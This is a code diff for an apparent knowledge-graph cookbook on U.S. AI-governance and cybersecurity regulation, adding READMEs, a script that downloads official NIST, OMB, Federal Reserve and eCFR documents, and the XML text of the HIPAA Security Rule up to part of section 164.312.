- **Server-backed RDF database** (Step 13): `TripletStore` has no embedded or in-memory mode by design; it always dials a real server. The notebook makes a genuine connection attempt and reports the real, expected connection failure (a `BlazegraphStore` ❌ in the CLI progress table, not a bug: there is no local Blazegraph server running). `OntologyEngine`'s built-in SKOS search shares the same requirement and is demonstrated against the same connection attempt, failing for the same reason rather than a separate limitation. The Oxigraph store earlier in the same step is unaffected and persists real data regardless.
|
||||
- **SKOS hierarchy validation** (Step 8): `ContextGraph` automatically runs `semantica.utils.skos.validate_skos_hierarchy()` whenever an edge is typed `skos:broader` or `skos:narrower`. Demonstrated with the real hierarchy edges extracted from `regulatory_taxonomy.ttl`, then with a deliberately cycle-forming edge that the validator correctly rejects.
|
||||
|
||||
None of these three are notebook bugs: they are reproducible defects in the installed Semantica version's `VectorStore`/`HybridSearch` internals (metadata dropped for non-in-memory backends) or an expected, by-design external-server requirement (`TripletStore`/Blazegraph). Each is caught internally with a safe fallback except the Blazegraph connection, which fails loudly as intended. The notebook's own entity list (Step 8) explicitly adds every SKOS concept referenced by a relationship as a named entity before the relationship is built, which avoids an unrelated, separate source of empty-content nodes: `GraphBuilder` auto-creating an unnamed placeholder the first time a node ID is seen only as a relationship target.
|
||||
|
||||
Extending this notebook: add a document, add its clauses to `data/requirement_clauses.json` with a verified citation. Every downstream step, including SHACL, provenance, conflict detection, SPARQL, GraphRAG, and Decision Intelligence, picks it up automatically.
|
||||
@@ -0,0 +1,35 @@
|
||||
# Data
|
||||
|
||||
Real, official U.S. federal AI-governance and cybersecurity-regulation documents. No synthetic or LLM-generated content. Run `python download_data.py` to fetch everything into `raw/`. The script fails loudly if a source has moved rather than silently substituting placeholder text.
|
||||
|
||||
`raw/source_manifest.json` is generated by the download script and records the exact URL, retrieval timestamp, and byte size for every file. This is what the notebook's PROV-O step cites as each requirement clause's source.
|
||||
|
||||
## Documents
|
||||
|
||||
| File | Document | Source | Sector | Parsed with |
|
||||
|---|---|---|---|---|
|
||||
| `nist_ai_rmf_1.0.pdf` | NIST AI Risk Management Framework (AI RMF 1.0), NIST AI 100-1 | [nvlpubs.nist.gov](https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.100-1.pdf) | Cross-sector AI governance | `PDFParser` |
|
||||
| `nist_csf_1.1.pdf` | NIST Cybersecurity Framework v1.1 (Apr 2018) | [nvlpubs.nist.gov](https://nvlpubs.nist.gov/nistpubs/cswp/nist.cswp.04162018.pdf) | Cross-sector cybersecurity | `PDFParser` |
|
||||
| `nist_csf_2.0.pdf` | NIST Cybersecurity Framework 2.0, CSWP 29 (Feb 2024) | [nvlpubs.nist.gov](https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.29.pdf) | Cross-sector cybersecurity | `PDFParser` |
|
||||
| `nist_sp800-66r2_hipaa_security.pdf` | NIST SP 800-66 Rev. 2: Implementing the HIPAA Security Rule | [nvlpubs.nist.gov](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-66r2.pdf) | Healthcare | `PDFParser` |
|
||||
| `hipaa_security_rule_45cfr164_subpart_c.xml` | HIPAA Security Rule, 45 CFR Part 164 Subpart C | [eCFR versioner API](https://www.ecfr.gov/api/versioner/v1/full/2026-07-31/title-45.xml?part=164&subpart=C) | Healthcare | `ingest_xml` |
|
||||
| `eo_14110_safe_secure_trustworthy_ai.pdf` | Executive Order 14110: Safe, Secure, and Trustworthy AI | [Federal Register](https://www.govinfo.gov/content/pkg/FR-2023-11-01/pdf/2023-24283.pdf) | Cross-sector AI policy | `PDFParser` |
|
||||
| `omb_m24-10_ai_governance.pdf` | OMB Memorandum M-24-10 (Mar 2024) | [whitehouse.gov](https://www.whitehouse.gov/wp-content/uploads/2024/03/M-24-10-Advancing-Governance-Innovation-and-Risk-Management-for-Agency-Use-of-Artificial-Intelligence.pdf) | Cross-sector AI governance | `PDFParser` |
|
||||
| `nist_ai_600-1_genai_profile.pdf` | NIST AI 600-1: Generative AI Profile (2024) | [nvlpubs.nist.gov](https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.600-1.pdf) | Cross-sector AI governance | `PDFParser` |
|
||||
| `fed_compliance_plan_omb_m24-10.pdf` | Federal Reserve: Compliance Plan for OMB M-24-10 (Sep 2024) | [federalreserve.gov](https://www.federalreserve.gov/publications/files/compliance-plan-for-omb-memorandum-m-24-10-202409.pdf) | Financial services | `DoclingParser` (optional, falls back to `PDFParser`) |
|
||||
|
||||
The Federal Reserve document is parsed with `DoclingParser` rather than `PDFParser`: a layout-aware, ML-based converter that preserves document structure (headings, tables) as Markdown instead of flattening to plain text. In a real run it recovered 16 real headings (for example `## Overview`) from this document in about 33 seconds on CPU. It's used for one document, not all nine, because that per-page cost adds up fast. See the notebook's Step 1 for the accuracy and speed tradeoff this represents. If `docling` isn't installed, ingestion falls back to `PDFParser` automatically.
|
||||
|
||||
## `requirement_clauses.json`
|
||||
|
||||
20 requirement clauses, hand-curated from the real ingested text above. Each `text` field is a verified real substring; the notebook asserts this before trusting any of them, and loads the file via Semantica's own `JSONParser` rather than as an inline Python literal. Each entry carries `doc` (which document it's from), `sector`, `topic` (a real SKOS concept, see `../ontology/skos/regulatory_taxonomy.ttl`), `citation` (for example `"45 CFR 164.308"`), and `text` (the real matched substring).
|
||||
|
||||
## Notes on sourcing
|
||||
|
||||
- **HIPAA Security Rule** is fetched via eCFR's public [versioner API](https://www.ecfr.gov/developers/documentation/api/v1) (`/api/versioner/v1/full/{date}/title-45.xml?part=164&subpart=C`) rather than eCFR's regular web pages, which sit behind a bot-detection challenge that blocks plain HTTP clients. The API is eCFR's officially documented programmatic access path and returns the same authoritative text. The script resolves the current date dynamically via `/api/versioner/v1/titles.json`, so it keeps working as time passes.
|
||||
- **Financial-services document**: the original candidate, U.S. Treasury's "Managing Artificial Intelligence-Specific Cybersecurity Risks in the Financial Services Sector," is also blocked by bot-detection at `home.treasury.gov` with no working API alternative found. It was substituted with the Federal Reserve's real, public compliance plan for OMB M-24-10, still a genuine financial-sector AI-governance document, and one that creates an actual `implements` relationship back to the OMB M-24-10 document already in this dataset.
|
||||
- Every other URL returns the document directly with a plain `requests.get()` and a descriptive User-Agent. No bypass techniques were used or needed.
|
||||
|
||||
## Data dictionary (what the notebook extracts)
|
||||
|
||||
Each document is ingested as one `reg:Regulation`, which is also a `dcat:Dataset`. The notebook's Step 6 loads `reg:RequirementClause` instances from `requirement_clauses.json`, individual obligations, controls, and definitions, each carrying a `reg:sourceCitation` (for example `"45 CFR 164.308"`) pointing back to the exact real-document location it came from.
|
||||
@@ -0,0 +1,152 @@
|
||||
"""
|
||||
Downloads the real source documents used by the Regulatory Intelligence
|
||||
use case. Every URL below is an official government publication (NIST, GovInfo,
|
||||
Federal Register, eCFR, whitehouse.gov, home.treasury.gov) verified at plan time.
|
||||
|
||||
Run:
|
||||
python download_data.py
|
||||
|
||||
Writes each document into raw/ and a source_manifest.json recording the exact
|
||||
URL and retrieval timestamp for every file: this manifest is what the
|
||||
notebook's PROV-O step cites as the source of each ingested requirement clause.
|
||||
|
||||
If any URL has moved, this script fails loudly (HTTPError / non-2xx) rather
|
||||
than silently writing placeholder content, so a broken source is caught
|
||||
immediately instead of masked.
|
||||
"""
|
||||
|
||||
import json
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
|
||||
import requests
|
||||
|
||||
RAW_DIR = Path(__file__).parent / "raw"
|
||||
|
||||
HEADERS = {
|
||||
"User-Agent": "Semantica-Cookbook/1.0 (+https://github.com/semantica-agi/semantica; educational use)"
|
||||
}
|
||||
|
||||
# Each entry: (filename, url, doc_type, description)
|
||||
# doc_type: "pdf" -> saved and later ingested via PDFParser
|
||||
# "xml" -> saved and later ingested via WebIngestor/ContentExtractor (eCFR versioner API)
|
||||
# url == "ECFR_API" is resolved dynamically in resolve_ecfr_subpart_url() below.
|
||||
DOCUMENTS = [
|
||||
(
|
||||
"nist_ai_rmf_1.0.pdf",
|
||||
"https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.100-1.pdf",
|
||||
"pdf",
|
||||
"NIST AI Risk Management Framework (AI RMF 1.0), NIST AI 100-1",
|
||||
),
|
||||
(
|
||||
"nist_csf_1.1.pdf",
|
||||
"https://nvlpubs.nist.gov/nistpubs/cswp/nist.cswp.04162018.pdf",
|
||||
"pdf",
|
||||
"NIST Cybersecurity Framework, Version 1.1 (April 2018)",
|
||||
),
|
||||
(
|
||||
"nist_csf_2.0.pdf",
|
||||
"https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.29.pdf",
|
||||
"pdf",
|
||||
"The NIST Cybersecurity Framework (CSF) 2.0, NIST CSWP 29 (February 2024)",
|
||||
),
|
||||
(
|
||||
"nist_sp800-66r2_hipaa_security.pdf",
|
||||
"https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-66r2.pdf",
|
||||
"pdf",
|
||||
"NIST SP 800-66 Rev. 2: Implementing the HIPAA Security Rule: A Cybersecurity Resource Guide",
|
||||
),
|
||||
(
|
||||
"hipaa_security_rule_45cfr164_subpart_c.xml",
|
||||
"ECFR_API", # resolved dynamically in download_ecfr_subpart() below
|
||||
"xml",
|
||||
"HIPAA Security Rule, 45 CFR Part 164 Subpart C (current eCFR text, via the public eCFR versioner API)",
|
||||
),
|
||||
(
|
||||
"eo_14110_safe_secure_trustworthy_ai.pdf",
|
||||
"https://www.govinfo.gov/content/pkg/FR-2023-11-01/pdf/2023-24283.pdf",
|
||||
"pdf",
|
||||
"Executive Order 14110: Safe, Secure, and Trustworthy Development and Use of AI (Federal Register, Nov 1, 2023)",
|
||||
),
|
||||
(
|
||||
"omb_m24-10_ai_governance.pdf",
|
||||
"https://www.whitehouse.gov/wp-content/uploads/2024/03/M-24-10-Advancing-Governance-Innovation-and-Risk-Management-for-Agency-Use-of-Artificial-Intelligence.pdf",
|
||||
"pdf",
|
||||
"OMB Memorandum M-24-10: Advancing Governance, Innovation, and Risk Management for Agency Use of Artificial Intelligence (March 2024)",
|
||||
),
|
||||
(
|
||||
"nist_ai_600-1_genai_profile.pdf",
|
||||
"https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.600-1.pdf",
|
||||
"pdf",
|
||||
"NIST AI 600-1: Artificial Intelligence Risk Management Framework: Generative Artificial Intelligence Profile (2024)",
|
||||
),
|
||||
(
|
||||
"fed_compliance_plan_omb_m24-10.pdf",
|
||||
"https://www.federalreserve.gov/publications/files/compliance-plan-for-omb-memorandum-m-24-10-202409.pdf",
|
||||
"pdf",
|
||||
"Board of Governors of the Federal Reserve System: Compliance Plan for OMB Memorandum M-24-10 (September 2024)",
|
||||
),
|
||||
]
|
||||
|
||||
|
||||
def resolve_ecfr_subpart_url() -> str:
|
||||
"""
|
||||
eCFR's regular HTML pages (www.ecfr.gov/current/...) sit behind a bot
|
||||
challenge that blocks plain HTTP clients. Its public versioner API does
|
||||
not, and is the officially documented way to fetch eCFR text
|
||||
programmatically. This resolves the *current* date dynamically instead
|
||||
of hardcoding one, so the script keeps working as time passes.
|
||||
"""
|
||||
titles_resp = requests.get(
|
||||
"https://www.ecfr.gov/api/versioner/v1/titles.json", headers=HEADERS, timeout=30
|
||||
)
|
||||
titles_resp.raise_for_status()
|
||||
title_45 = next(t for t in titles_resp.json()["titles"] if t["number"] == 45)
|
||||
as_of = title_45["up_to_date_as_of"]
|
||||
return f"https://www.ecfr.gov/api/versioner/v1/full/{as_of}/title-45.xml?part=164&subpart=C"
|
||||
|
||||
|
||||
def download(filename: str, url: str, doc_type: str, description: str) -> dict:
|
||||
print(f"Fetching {description} ...")
|
||||
print(f" {url}")
|
||||
response = requests.get(url, headers=HEADERS, timeout=60)
|
||||
response.raise_for_status()
|
||||
|
||||
dest = RAW_DIR / filename
|
||||
dest.write_bytes(response.content)
|
||||
|
||||
size_kb = len(response.content) / 1024
|
||||
print(f" -> saved {dest.name} ({size_kb:.1f} KB)")
|
||||
|
||||
return {
|
||||
"filename": filename,
|
||||
"url": url,
|
||||
"type": doc_type,
|
||||
"description": description,
|
||||
"retrieved_at": datetime.now(timezone.utc).isoformat(),
|
||||
"size_bytes": len(response.content),
|
||||
"status_code": response.status_code,
|
||||
}
|
||||
|
||||
|
||||
def main() -> None:
|
||||
RAW_DIR.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
manifest_entries = []
|
||||
for filename, url, doc_type, description in DOCUMENTS:
|
||||
if url == "ECFR_API":
|
||||
url = resolve_ecfr_subpart_url()
|
||||
try:
|
||||
manifest_entries.append(download(filename, url, doc_type, description))
|
||||
except requests.RequestException as exc:
|
||||
print(f"ERROR: failed to fetch {url}: {exc}", file=sys.stderr)
|
||||
raise
|
||||
|
||||
manifest_path = RAW_DIR / "source_manifest.json"
|
||||
manifest_path.write_text(json.dumps(manifest_entries, indent=2), encoding="utf-8")
|
||||
print(f"\nWrote manifest for {len(manifest_entries)} documents to {manifest_path}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
BIN
Binary file not shown.
BIN
Binary file not shown.
+435
@@ -0,0 +1,435 @@
|
||||
<?xml version="1.0"?>
|
||||
<DIV6 N="C" TYPE="SUBPART" VOLUME="2" hierarchy_metadata="{&quot;path&quot;:&quot;/on/_SUBSTITUTE_DATE_/title-45/part-164/subpart-C&quot;,&quot;citation&quot;:&quot;45 CFR Part 164 Subpart C&quot;}">
|
||||
<HEAD>Subpart C—Security Standards for the Protection of Electronic Protected Health Information</HEAD>
|
||||
<AUTH>
|
||||
<HED>Authority:</HED><PSPACE>42 U.S.C. 1320d-2 and 1320d-4; sec. 13401, Pub. L. 111-5, 123 Stat. 260.
|
||||
</PSPACE></AUTH>
|
||||
<SOURCE>
|
||||
<HED>Source:</HED><PSPACE>68 FR 8376, Feb. 20, 2003, unless otherwise noted.
|
||||
</PSPACE></SOURCE>
|
||||
<DIV8 N="164.302" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.302","citation":"45 CFR 164.302"}">
|
||||
<HEAD>§ 164.302 Applicability.</HEAD>
|
||||
<P>A covered entity or business associate must comply with the applicable standards, implementation specifications, and requirements of this subpart with respect to electronic protected health information of a covered entity.</P>
|
||||
<CITA TYPE="N">[78 FR 5693, Jan. 25, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.304" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.304","citation":"45 CFR 164.304"}">
|
||||
<HEAD>§ 164.304 Definitions.</HEAD>
|
||||
<P>As used in this subpart, the following terms have the following meanings:</P>
|
||||
<P><I>Access</I> means the ability or the means necessary to read, write, modify, or communicate data/information or otherwise use any system resource. (This definition applies to “access” as used in this subpart, not as used in subparts D or E of this part.)</P>
|
||||
<P><I>Administrative safeguards</I> are administrative actions, and policies and procedures, to manage the selection, development, implementation, and maintenance of security measures to protect electronic protected health information and to manage the conduct of the covered entity's or business associate's workforce in relation to the protection of that information.</P>
|
||||
<P><I>Authentication</I> means the corroboration that a person is the one claimed.</P>
|
||||
<P><I>Availability</I> means the property that data or information is accessible and useable upon demand by an authorized person.</P>
|
||||
<P><I>Confidentiality</I> means the property that data or information is not made available or disclosed to unauthorized persons or processes.</P>
|
||||
<P><I>Encryption</I> means the use of an algorithmic process to transform data into a form in which there is a low probability of assigning meaning without use of a confidential process or key.</P>
|
||||
<P><I>Facility</I> means the physical premises and the interior and exterior of a building(s).</P>
|
||||
<P><I>Information system</I> means an interconnected set of information resources under the same direct management control that shares common functionality. A system normally includes hardware, software, information, data, applications, communications, and people.</P>
|
||||
<P><I>Integrity</I> means the property that data or information have not been altered or destroyed in an unauthorized manner.</P>
|
||||
<P><I>Malicious software</I> means software, for example, a virus, designed to damage or disrupt a system.</P>
|
||||
<P><I>Password</I> means confidential authentication information composed of a string of characters.</P>
|
||||
<P><I>Physical safeguards</I> are physical measures, policies, and procedures to protect a covered entity's or business associate's electronic information systems and related buildings and equipment, from natural and environmental hazards, and unauthorized intrusion.</P>
|
||||
<P><I>Security or Security measures</I> encompass all of the administrative, physical, and technical safeguards in an information system.</P>
|
||||
<P><I>Security incident</I> means the attempted or successful unauthorized access, use, disclosure, modification, or destruction of information or interference with system operations in an information system.</P>
|
||||
<P><I>Technical safeguards</I> means the technology and the policy and procedures for its use that protect electronic protected health information and control access to it.</P>
|
||||
<P><I>User</I> means a person or entity with authorized access.</P>
|
||||
<P><I>Workstation</I> means an electronic computing device, for example, a laptop or desktop computer, or any other device that performs similar functions, and electronic media stored in its immediate environment.</P>
|
||||
<CITA TYPE="N">[68 FR 8376, Feb. 20, 2003, as amended at 74 FR 42767, Aug. 24, 2009; 78 FR 5693, Jan. 25, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.306" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.306","citation":"45 CFR 164.306"}">
|
||||
<HEAD>§ 164.306 Security standards: General rules.</HEAD>
|
||||
<P>(a) <I>General requirements.</I> Covered entities and business associates must do the following:</P>
|
||||
<P>(1) Ensure the confidentiality, integrity, and availability of all electronic protected health information the covered entity or business associate creates, receives, maintains, or transmits.</P>
|
||||
<P>(2) Protect against any reasonably anticipated threats or hazards to the security or integrity of such information.</P>
|
||||
<P>(3) Protect against any reasonably anticipated uses or disclosures of such information that are not permitted or required under subpart E of this part.</P>
|
||||
<P>(4) Ensure compliance with this subpart by its workforce.</P>
|
||||
<P>(b) <I>Flexibility of approach.</I> (1) Covered entities and business associates may use any security measures that allow the covered entity or business associate to reasonably and appropriately implement the standards and implementation specifications as specified in this subpart.</P>
|
||||
<P>(2) In deciding which security measures to use, a covered entity or business associate must take into account the following factors:</P>
|
||||
<P>(i) The size, complexity, and capabilities of the covered entity or business associate.</P>
|
||||
<P>(ii) The covered entity's or the business associate's technical infrastructure, hardware, and software security capabilities.</P>
|
||||
<P>(iii) The costs of security measures.</P>
|
||||
<P>(iv) The probability and criticality of potential risks to electronic protected health information.</P>
|
||||
<P>(c) <I>Standards.</I> A covered entity or business associate must comply with the applicable standards as provided in this section and in §§ 164.308, 164.310, 164.312, 164.314 and 164.316 with respect to all electronic protected health information.</P>
|
||||
<P>(d) <I>Implementation specifications.</I> In this subpart:</P>
|
||||
<P>(1) Implementation specifications are required or addressable. If an implementation specification is required, the word “Required” appears in parentheses after the title of the implementation specification. If an implementation specification is addressable, the word “Addressable” appears in parentheses after the title of the implementation specification.</P>
|
||||
<P>(2) When a standard adopted in § 164.308, § 164.310, § 164.312, § 164.314, or § 164.316 includes required implementation specifications, a covered entity or business associate must implement the implementation specifications.</P>
|
||||
<P>(3) When a standard adopted in § 164.308, § 164.310, § 164.312, § 164.314, or § 164.316 includes addressable implementation specifications, a covered entity or business associate must—</P>
|
||||
<P>(i) Assess whether each implementation specification is a reasonable and appropriate safeguard in its environment, when analyzed with reference to the likely contribution to protecting electronic protected health information; and</P>
|
||||
<P>(ii) As applicable to the covered entity or business associate—</P>
|
||||
<P>(A) Implement the implementation specification if reasonable and appropriate; or</P>
|
||||
<P>(B) If implementing the implementation specification is not reasonable and appropriate—</P>
|
||||
<P>$(<I>1</I>) Document why it would not be reasonable and appropriate to implement the implementation specification; and</P>
|
||||
<P>$(<I>2</I>) Implement an equivalent alternative measure if reasonable and appropriate.</P>
|
||||
<P>(e) <I>Maintenance.</I> A covered entity or business associate must review and modify the security measures implemented under this subpart as needed to continue provision of reasonable and appropriate protection of electronic protected health information, and update documentation of such security measures in accordance with § 164.316(b)(2)(iii).</P>
|
||||
<CITA TYPE="N">[68 FR 8376, Feb. 20, 2003; 68 FR 17153, Apr. 8, 2003; 78 FR 5693, Jan. 25, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.308" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.308","citation":"45 CFR 164.308"}">
|
||||
<HEAD>§ 164.308 Administrative safeguards.</HEAD>
|
||||
<P>(a) A covered entity or business associate must, in accordance with § 164.306:</P>
|
||||
<P>(1)(i) <I>Standard: Security management process.</I> Implement policies and procedures to prevent, detect, contain, and correct security violations.</P>
|
||||
<P>(ii) <I>Implementation specifications:</I></P>
|
||||
<P>(A) <I>Risk analysis (Required).</I> Conduct an accurate and thorough assessment of the potential risks and vulnerabilities to the confidentiality, integrity, and availability of electronic protected health information held by the covered entity or business associate.</P>
|
||||
<P>(B) <I>Risk management (Required).</I> Implement security measures sufficient to reduce risks and vulnerabilities to a reasonable and appropriate level to comply with § 164.306(a).</P>
|
||||
<P>(C) <I>Sanction policy (Required).</I> Apply appropriate sanctions against workforce members who fail to comply with the security policies and procedures of the covered entity or business associate.</P>
|
||||
<P>(D) <I>Information system activity review (Required).</I> Implement procedures to regularly review records of information system activity, such as audit logs, access reports, and security incident tracking reports.</P>
|
||||
<P>(2) <I>Standard: Assigned security responsibility.</I> Identify the security official who is responsible for the development and implementation of the policies and procedures required by this subpart for the covered entity or business associate.</P>
|
||||
<P>(3)(i) <I>Standard: Workforce security.</I> Implement policies and procedures to ensure that all members of its workforce have appropriate access to electronic protected health information, as provided under paragraph (a)(4) of this section, and to prevent those workforce members who do not have access under paragraph (a)(4) of this section from obtaining access to electronic protected health information.</P>
|
||||
<P>(ii) <I>Implementation specifications:</I></P>
|
||||
<P>(A) <I>Authorization and/or supervision (Addressable).</I> Implement procedures for the authorization and/or supervision of workforce members who work with electronic protected health information or in locations where it might be accessed.</P>
|
||||
<P>(B) <I>Workforce clearance procedure (Addressable).</I> Implement procedures to determine that the access of a workforce member to electronic protected health information is appropriate.</P>
|
||||
<P>(C) <I>Termination procedures (Addressable).</I> Implement procedures for terminating access to electronic protected health information when the employment of, or other arrangement with, a workforce member ends or as required by determinations made as specified in paragraph (a)(3)(ii)(B) of this section.</P>
|
||||
<P>(4)(i) <I>Standard: Information access management.</I> Implement policies and procedures for authorizing access to electronic protected health information that are consistent with the applicable requirements of subpart E of this part.</P>
|
||||
<P>(ii) <I>Implementation specifications:</I></P>
|
||||
<P>(A) <I>Isolating health care clearinghouse functions (Required).</I> If a health care clearinghouse is part of a larger organization, the clearinghouse must implement policies and procedures that protect the electronic protected health information of the clearinghouse from unauthorized access by the larger organization.</P>
|
||||
<P>(B) <I>Access authorization (Addressable).</I> Implement policies and procedures for granting access to electronic protected health information, for example, through access to a workstation, transaction, program, process, or other mechanism.</P>
|
||||
<P>(C) <I>Access establishment and modification (Addressable).</I> Implement policies and procedures that, based upon the covered entity's or the business associate's access authorization policies, establish, document, review, and modify a user's right of access to a workstation, transaction, program, or process.</P>
|
||||
<P>(5)(i) <I>Standard: Security awareness and training.</I> Implement a security awareness and training program for all members of its workforce (including management).</P>
|
||||
<P>(ii) <I>Implementation specifications.</I> Implement:</P>
|
||||
<P>(A) <I>Security reminders (Addressable).</I> Periodic security updates.</P>
|
||||
<P>(B) <I>Protection from malicious software (Addressable).</I> Procedures for guarding against, detecting, and reporting malicious software.</P>
|
||||
<P>(C) <I>Log-in monitoring (Addressable).</I> Procedures for monitoring log-in attempts and reporting discrepancies.</P>
|
||||
<P>(D) <I>Password management (Addressable).</I> Procedures for creating, changing, and safeguarding passwords.</P>
|
||||
<P>(6)(i) <I>Standard: Security incident procedures.</I> Implement policies and procedures to address security incidents.</P>
|
||||
<P>(ii) <I>Implementation specification: Response and reporting (Required).</I> Identify and respond to suspected or known security incidents; mitigate, to the extent practicable, harmful effects of security incidents that are known to the covered entity or business associate; and document security incidents and their outcomes.</P>
|
||||
<P>(7)(i) <I>Standard: Contingency plan.</I> Establish (and implement as needed) policies and procedures for responding to an emergency or other occurrence (for example, fire, vandalism, system failure, and natural disaster) that damages systems that contain electronic protected health information.</P>
|
||||
<P>(ii) <I>Implementation specifications:</I></P>
|
||||
<P>(A) <I>Data backup plan (Required).</I> Establish and implement procedures to create and maintain retrievable exact copies of electronic protected health information.</P>
|
||||
<P>(B) <I>Disaster recovery plan (Required).</I> Establish (and implement as needed) procedures to restore any loss of data.</P>
|
||||
<P>(C) <I>Emergency mode operation plan (Required).</I> Establish (and implement as needed) procedures to enable continuation of critical business processes for protection of the security of electronic protected health information while operating in emergency mode.</P>
|
||||
<P>(D) <I>Testing and revision procedures (Addressable).</I> Implement procedures for periodic testing and revision of contingency plans.</P>
|
||||
<P>(E) <I>Applications and data criticality analysis (Addressable).</I> Assess the relative criticality of specific applications and data in support of other contingency plan components.</P>
|
||||
<P>(8) <I>Standard: Evaluation.</I> Perform a periodic technical and nontechnical evaluation, based initially upon the standards implemented under this rule and, subsequently, in response to environmental or operational changes affecting the security of electronic protected health information, that establishes the extent to which a covered entity's or business associate's security policies and procedures meet the requirements of this subpart.</P>
|
||||
<P>(b)(1) <I>Business associate contracts and other arrangements.</I> A covered entity may permit a business associate to create, receive, maintain, or transmit electronic protected health information on the covered entity's behalf only if the covered entity obtains satisfactory assurances, in accordance with § 164.314(a), that the business associate will appropriately safeguard the information. A covered entity is not required to obtain such satisfactory assurances from a business associate that is a subcontractor.</P>
|
||||
<P>(2) A business associate may permit a business associate that is a subcontractor to create, receive, maintain, or transmit electronic protected health information on its behalf only if the business associate obtains satisfactory assurances, in accordance with § 164.314(a), that the subcontractor will appropriately safeguard the information.</P>
|
||||
<P>(3) <I>Implementation specifications: Written contract or other arrangement (Required).</I> Document the satisfactory assurances required by paragraph (b)(1) or (b)(2) of this section through a written contract or other arrangement with the business associate that meets the applicable requirements of § 164.314(a).</P>
|
||||
<CITA TYPE="N">[68 FR 8376, Feb. 20, 2003, as amended at 78 FR 5694, Jan. 25, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.310" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.310","citation":"45 CFR 164.310"}">
|
||||
<HEAD>§ 164.310 Physical safeguards.</HEAD>
|
||||
<P>A covered entity or business associate must, in accordance with § 164.306:</P>
|
||||
<P>(a)(1) <I>Standard: Facility access controls.</I> Implement policies and procedures to limit physical access to its electronic information systems and the facility or facilities in which they are housed, while ensuring that properly authorized access is allowed.</P>
|
||||
<P>(2) <I>Implementation specifications:</I></P>
|
||||
<P>(i) <I>Contingency operations (Addressable).</I> Establish (and implement as needed) procedures that allow facility access in support of restoration of lost data under the disaster recovery plan and emergency mode operations plan in the event of an emergency.</P>
|
||||
<P>(ii) <I>Facility security plan (Addressable).</I> Implement policies and procedures to safeguard the facility and the equipment therein from unauthorized physical access, tampering, and theft.</P>
|
||||
<P>(iii) <I>Access control and validation procedures (Addressable).</I> Implement procedures to control and validate a person's access to facilities based on their role or function, including visitor control, and control of access to software programs for testing and revision.</P>
|
||||
<P>(iv) <I>Maintenance records (Addressable).</I> Implement policies and procedures to document repairs and modifications to the physical components of a facility which are related to security (for example, hardware, walls, doors, and locks).</P>
|
||||
<P>(b) <I>Standard: Workstation use.</I> Implement policies and procedures that specify the proper functions to be performed, the manner in which those functions are to be performed, and the physical attributes of the surroundings of a specific workstation or class of workstation that can access electronic protected health information.</P>
|
||||
<P>(c) <I>Standard: Workstation security.</I> Implement physical safeguards for all workstations that access electronic protected health information, to restrict access to authorized users.</P>
|
||||
<P>(d)(1) <I>Standard: Device and media controls.</I> Implement policies and procedures that govern the receipt and removal of hardware and electronic media that contain electronic protected health information into and out of a facility, and the movement of these items within the facility.</P>
|
||||
<P>(2) <I>Implementation specifications:</I></P>
|
||||
<P>(i) <I>Disposal (Required).</I> Implement policies and procedures to address the final disposition of electronic protected health information, and/or the hardware or electronic media on which it is stored.</P>
|
||||
<P>(ii) <I>Media re-use (Required).</I> Implement procedures for removal of electronic protected health information from electronic media before the media are made available for re-use.</P>
|
||||
<P>(iii) <I>Accountability (Addressable).</I> Maintain a record of the movements of hardware and electronic media and any person responsible therefore.</P>
|
||||
<P>(iv) <I>Data backup and storage (Addressable).</I> Create a retrievable, exact copy of electronic protected health information, when needed, before movement of equipment.</P>
|
||||
<CITA TYPE="N">[68 FR 8376, Feb. 20, 2003, as amended at 78 FR 5694, Jan. 25, 2013]
|
||||
</CITA>
|
||||
</DIV8>
|
||||
|
||||
<DIV8 N="164.312" TYPE="SECTION" hierarchy_metadata="{"path":"/on/_SUBSTITUTE_DATE_/title-45/section-164.312","citation":"45 CFR 164.312"}">
|
||||
<HEAD>§ 164.312 Technical safeguards.</HEAD>
|
||||
<P>A covered entity or business associate must, in accordance with § 164.306:</P>
|
||||
<P>(a)(1) <I>Standard: Access control.</I> Implement technical policies and procedures for electronic information systems that maintain electronic protected health information to allow access only to those persons or software programs that have been granted access rights as specified in § 164.308(a)(4).</P>
|
||||
<P>(2) <I>Implementation specifications:</I></P>
|
||||
<P>(i) <I>Unique user identification (Required).</I> Assign a unique name and/or number for identifying and tracking user identity.</P>
|
||||
<P>(ii) <I>Emergency access procedure (Required).</I> Establish (and implement as needed) procedures for obtaining necessary electronic protected health information during an emergency.</P>
|
||||
<P>(iii) <I>Automatic logoff (Addressable).</I> Implement electronic procedures that terminate an electronic session after a predetermined time of inactivity.</P>
|
||||
<P>(iv) <I>Encryption and decryption (Addressable).</I> Implement a mechanism to encrypt and decrypt electronic protected health information.</P>
|
||||
<P>(b) <I>Standard: Audit controls.</I> Implement hardware, software, and/or procedural mechanisms that record and examine activity in information systems that contain or use electronic protected health information.</P>
|
||||
<P>(c)(1) <I>Standard: Integrity.</I> Implement policies and procedures to protect electronic protected health information from improper alteration or destruction.</P>
|
||||
